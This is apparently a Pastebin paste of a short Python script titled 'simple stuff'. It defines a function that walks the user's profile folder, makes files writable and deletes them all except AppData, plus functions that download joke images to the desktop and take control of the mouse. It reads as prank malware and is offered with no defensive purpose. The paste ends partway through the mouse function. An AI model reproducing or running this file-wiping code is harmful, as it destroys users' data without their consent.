Advertisement
DoubleA_W

simple stuff

Aug 20th, 2016
468
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.92 KB | None | 0 0
  1. import requests
  2. import random
  3. import os, os.path
  4. from time import sleep
  5. import stat
  6. import pyautogui
  7.  
  8. x = 1
  9.  
  10. user = os.environ['USERPROFILE']
  11. desktop = user + '\desktop'
  12.  
  13. #Deletes all files
  14. def rmtree(top):
  15.     for root, dirs, files in os.walk(top, topdown=False):
  16.         for name in files:
  17.             try:
  18.                 filename = os.path.join(root, name)
  19.                 if user + '\\AppData' in filename:
  20.                     continue
  21.                 else:
  22.                     os.chmod(filename, stat.S_IWUSR)
  23.                     os.remove(filename)
  24.                     print('file removed')
  25.             except:
  26.                 print('Permission denied...')
  27.                 sleep(1)
  28.                 continue
  29.         for name in dirs:
  30.             os.rmdir(os.path.join(root, name))
  31.     os.rmdir(top)
  32.  
  33. #Downloads random pics, puts ten randomly on desktop
  34. def createFile(x):
  35.     pics = [r'https://i.ytimg.com/vi/_kcalqEwSIk/hqdefault.jpg',
  36.             r'http://media.timesreview.com.s3.amazonaws.com/riverheadnewsreview/files/Ramen.jpg',
  37.             r'http://1000uglypeople.com/wp-content/uploads/Im-Confused-Ugly-Guy-Mugshot.jpg',
  38.             r'https://s-media-cache-ak0.pinimg.com/236x/73/ac/69/73ac691cce1ee4444a7e9da277e9c496.jpg',
  39.             r'http://i.imgur.com/kIFphVX.jpg', r'https://i.ytimg.com/vi/ymJ9NIeEEw8/hqdefault.jpg',
  40.             r'https://ak-hdl.buzzfed.com/static/2015-10/12/14/enhanced/webdr15/enhanced-4320-1444674156-1.png',
  41.             r'http://cdn.emgn.com/wp-content/uploads/2015/11/emgn-ugly-animals-pic-2.jpg',
  42.             r'https://s-media-cache-ak0.pinimg.com/236x/5b/ae/41/5bae4177a8319cc12547bdac5f5f2e3d.jpg']
  43.     os.chdir(desktop)
  44.     with open(str(x) + '.jpg', 'wb') as f:
  45.         f.write(requests.get(random.choice(pics)).content)
  46.     print('pic made')
  47.     x += 1
  48.  
  49. #moves the mose and holds it down
  50. def mClick(x, y):
  51.     pyautogui.moveTo(x, y)
  52.     pyautogui.mouseDown()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement